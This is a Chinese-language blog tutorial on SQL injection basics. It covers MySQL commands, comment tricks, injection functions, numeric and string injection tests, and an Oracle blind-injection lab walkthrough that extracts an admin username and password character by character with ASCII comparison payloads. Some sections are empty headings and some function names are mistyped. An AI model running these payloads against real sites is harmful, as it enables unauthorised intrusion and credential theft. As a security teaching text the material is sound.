sql注入基础学习

1.常用SQL语句

01、显示数据库 show databases;

02、打开数据库 use db name;

03、显示数据表 show tables;

04、显示表结构 describe table_name;

05、显示表中各字段信息,即表结构 show columns from table_name;

06、显示表创建过程 show create table表名;

07、列出当前mysql的相关状态信息 status;

08、删除数据库 drop database 数据库名;

09、清空数据表 delete from table_name;truncate table table_name;

10、删除数据表 drop table table name

11、数据库连接 mysql-uroot-proot

扫描二维码关注公众号,回复: 17379994 查看本文章

12、数据库退出exit

limit 控制输出:limit 0,1

0:表示输出第一行

1:表示取一条数据

2. MySQL注释符

1.注释符可以替换空格

2.内联注入:/*!/*!*/

/**/在mysql中是多行注释但是如果里面加了

那么后面的内容会被执行

3.单行注释符后面加换行也是可以执行的

/**/

#

--

3.SQL注入常用函数

length('name):函数返回字符串的长度

substr'name',1,1):函数截取字符串

asci(’a’):函数返回字符的asci码

left(name,2):函数返回name的左边二个字符

right(name,2):函数返回name的右边二个字符

information_schema数据库

SQL注入原理

sql注入常见流程

1|1数字型判断##

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 www.xxx.com/abc.php?id= x and 1=1

页面依旧运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x and 1=2

页面运行错误,则说明此 Sql 注入为数字型注入。

1|2字符型判断##

当输入的参 x 为字符型时,通常 abc.php 中 SQL 语句类型大致如下

select * from <表名> where id = 'x'

这种类型我们同样可以使用 and '1'='1 和 and '1'='2来判断:

Url 地址中输入 www.xxx.com/abc.php?id= x' and '1'='1

页面运行正常,继续进行下一步。

Url 地址中继续输入 www.xxx.com/abc.php?id= x' and '1'='2

页面运行错误,则说明此 Sql 注入为字符型注入。

原因如下:

当输入 and '1'='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,所以返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,所以返回正确。

sql注入演示(步骤有所省略)

4、获取显示位

5.将显示位替换为要查询的函数

7、获取所有数据库

8、获取数据表

9、获取表中字段

10.获取数据

堆叠注入

宽字节注入

字符转换

宽字节注入过程

报错注入

盲注

布尔盲注

布尔盲注利用

延时盲注函数

1.Oracle手工盲注

实验步骤一

1.首先我们判断一下有没有注入点,在公司新闻下打开一个新闻链接

2.网址后加and 1=1返回正常

3.加and 1=2返回错误,说明存在注入漏洞。

4.判断一下数据库中的表,网址后加上:and (select count(*) from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin改为username、manager等常用表名继续猜解。

5.判断下该网站下有几个管理员,如果有多个的话,成功入侵的几率就会加大

and (select count(*) from admin)=1,返回正常说明只有一个管理员。

6.已知表的前提下,判断表中字段结构

and (select count(name) from admin)>=0返回正常,说明存在name字段

and (select count(pass) from admin)>=0返回错误,说明不存在pass字段

经过猜测,存在pwd字段

实验步骤二

7.接下来采用ASCII码折半法猜解管理员帐号和密码

判断管理员帐号的长度

and (select count(*) from admin where length(name)>=5)=1

说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成

8.and (select count(*) from admin where ascii(substr(name,1,1))>=97)=1

说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a

and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin

9.相同方法猜解密码

and (select count(*) from admin where length(pwd)>=8)=1,返回正常,即密码长度为8,此时可以判断密码应该为明文

and (select count(*) from admin where ascii(substr(pwd,1,1))>=97)=1,返回正常,为字符a

and (select count(*) from admin where ascii(substr(pwd,2,1))>=100)=1,返回正常,为字符d

......重复操作......

and (select count(*) from admin where ascii(substr(pwd,8,1))>=56)=1,返回正常,为数字8

完成上述操作可以确定帐号为:admin密码为:admin888

打开 http://10.1.1.59/login.jsp,输入猜解出的用户名和密码

提示登录成功

猜你喜欢

转载自blog.csdn.net/qq_48257021/article/details/136603135